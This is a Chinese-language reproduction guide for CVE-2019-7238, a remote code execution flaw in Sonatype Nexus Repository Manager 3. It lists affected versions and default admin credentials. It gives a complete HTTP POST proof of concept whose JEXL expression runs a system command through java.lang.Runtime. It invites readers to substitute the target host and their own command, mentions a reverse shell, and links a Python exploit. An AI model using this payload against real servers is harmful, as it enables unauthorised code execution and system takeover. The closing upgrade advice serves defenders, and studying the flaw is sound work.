前言:
Nexus Repository Manager是Sonatype公司的一个产品,简称NXRM,它是一款通用的软件包仓库管理服务,可以简单的理解为Maven的私服。
2019年2月5日Sonatype发布安全公告,在Nexus Repository Manager 3中由于存在访问控制措施的不足,未授权的用户可以利用该缺陷构造特定的请求在服务器上执行Java代码,从而达到远程代码执行的目的。
影响版本:
Nexus Repository Manager OSS/Pro 3.6.2版本到3.14.0版本
漏洞环境:
使用3.14.0版本
漏洞复现:
首先要登陆系统,默认账号密码admin/admin123,上传一个任意jar包,以为要触发该漏洞,必须要保证仓库里必须保证有一个jar存在。
方法1.直接上poc:
poc:
POST /service/extdirect HTTP/1.1
Host: 192.168.220.131:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 368
Connection: close
{"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":50,"sort":[{"property":"name","direction":"ASC"}],"filter":
[{"property":"repositoryName","value":"*"},{"property":"expression","value":"233.class.forName('java.lang.Runtime').getRuntime().exec('touch /tmp/success')"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":8}
这里主机换成自己需要攻击的主机,然后执行命令自己写。既然能创建文件,理论上反弹shell也是可以的。
检测是否执行成功:
方法二:直接利用py poc
py下载:https://github.com/jas502n/CVE-2019-7238
修复建议:
将Nexus Repository Manager OSS/Pro升级到3.15.0及之后的版本
参考链接:
https://github.com/jas502n/CVE-2019-7238
https://www.anquanke.com/post/id/171116